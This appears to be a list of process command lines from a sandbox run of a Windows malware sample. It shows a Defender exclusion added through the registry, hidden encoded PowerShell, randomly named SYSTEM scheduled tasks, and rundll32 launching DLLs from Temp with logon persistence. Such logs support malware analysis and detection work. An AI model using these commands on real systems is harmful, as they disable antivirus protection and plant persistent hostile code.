- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %WINDIR%\Temp\WTAFYOXcrcWETaMq /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %WINDIR%\Temp\WTAFYOXcrcWETaMq /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "gYYzPfvwr" /SC once /ST 10:40:29 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "gYYzPfvwr"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
- '<SYSTEM32>\gpupdate.exe' /force
- '<SYSTEM32>\svchost.exe' -k LocalSystemNetworkRestricted -s WPDBusEnum
- '<SYSTEM32>\svchost.exe' -k LocalSystemNetworkRestricted -p -s fhsvc
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "gYYzPfvwr"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "wQUhoSCdjXaeUEacx" /SC once /ST 12:29:29 /RU "SYSTEM" /TR "\"%WINDIR%\Temp\WTAFYOXcrcWETaMq\aGWZGAIlUWxVcXH\cJtxzcn.exe\" x8 /ohjldidUk 390358 /S" /V1 /F
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "wQUhoSCdjXaeUEacx"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "bofHDIkuFgNwDUbMgg"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TR "cmd /C if exist \"%ProgramFiles(x86)%\KVXkbYIMU\txCDvZ.dll\" rundll32 \"%ProgramFiles(x86)%\KVXkbYIMU\txCDvZ.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "hOZsKmOSCrIHJYt" /V1 /F
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "hOZsKmOSCrIHJYt2" /F /xml "%ProgramFiles(x86)%\KVXkbYIMU\vkjnmLV.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "hOZsKmOSCrIHJYt"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "hOZsKmOSCrIHJYt"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "tvsXYObxcyfVRV" /F /xml "%ProgramFiles(x86)%\JcohhzymuonU2\mlsGRAs.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "WqHMKCWyAZNeL2" /F /xml "%ALLUSERSPROFILE%\EmSCnCcAWmzVKjVB\oPFFhuo.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "iEqGqKYSJmAImcNEc2" /F /xml "%ProgramFiles(x86)%\vgiyhQfYtkGLZKWuQpR\eIhTipV.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "ajOuxWoBIBBgHxJCqJU2" /F /xml "%ProgramFiles(x86)%\wOLLmirpmqNqC\STkuHLC.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "yvoRklzvUYVYyHxjY" /SC once /ST 13:02:47 /RU "SYSTEM" /TR "rundll32 \"%WINDIR%\Temp\WTAFYOXcrcWETaMq\aXhMhwpP\APonTXf.dll\",#1 /xKZdidnX 390358" /V1 /F
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "yvoRklzvUYVYyHxjY"
- '<SYSTEM32>\rundll32.exe' "%WINDIR%\Temp\WTAFYOXcrcWETaMq\aXhMhwpP\APonTXf.dll",#1 /xKZdidnX 390358
- '<SYSTEM32>\gpupdate.exe' /force' (with hidden window)
